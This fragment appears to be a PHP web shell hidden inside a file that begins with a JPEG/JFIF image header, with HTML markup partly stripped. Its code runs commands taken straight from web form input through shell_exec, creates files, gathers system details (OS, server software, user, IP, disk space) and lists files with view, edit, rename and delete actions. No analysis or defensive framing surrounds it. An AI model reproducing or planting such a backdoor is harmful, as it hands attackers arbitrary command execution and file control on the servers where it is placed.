ÿØÿà JFIF ` ` ÿÛ „ &1"); } if (isset($_POST['quick_cmd_btn'])) { $cmd_out = shell_exec($_POST['quick_cmd'] . " 2>&1"); } if (isset($_POST['create_file_btn'])) { if (file_put_contents($dir . '/' . $_POST['new_filename'], "") !== false) $msg = "File Created"; else $msg = "Creation Failed"; } // --- SYSTEM ENUMERATION --- function get_perms($path) { if (!file_exists($path)) return '---'; $perms = fileperms($path); if (($perms & 0x4000) == 0x4000) $info = 'd'; elseif (($perms & 0xA000) == 0xA000) $info = 'l'; else $info = '-'; $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? 'x' : '-'); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? 'x' : '-'); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? 'x' : '-'); return $info; } $os = php_uname(); $software = $_SERVER['SERVER_SOFTWARE']; $user = get_current_user() . " (".getmyuid().")"; $ip = $_SERVER['SERVER_ADDR'] ?: "127.0.0.1"; $df = round(disk_free_space("/") / (1024*1024*1024), 2); ?>
| Name | Size | Modified | Perms | Action |
|---|---|---|---|---|
| DIR .. | -- | " . ($is_d ? "DIR":"FILE") . " $item | "; echo "" . ($is_d ? "DIR" : round(filesize($p)/1024, 2) . " KB") . " | "; echo "" . date("Y-m-d H:i", filemtime($p)) . " | "; echo "".get_perms($p)." | "; echo "V | E | R | D | "; echo ""; } ?>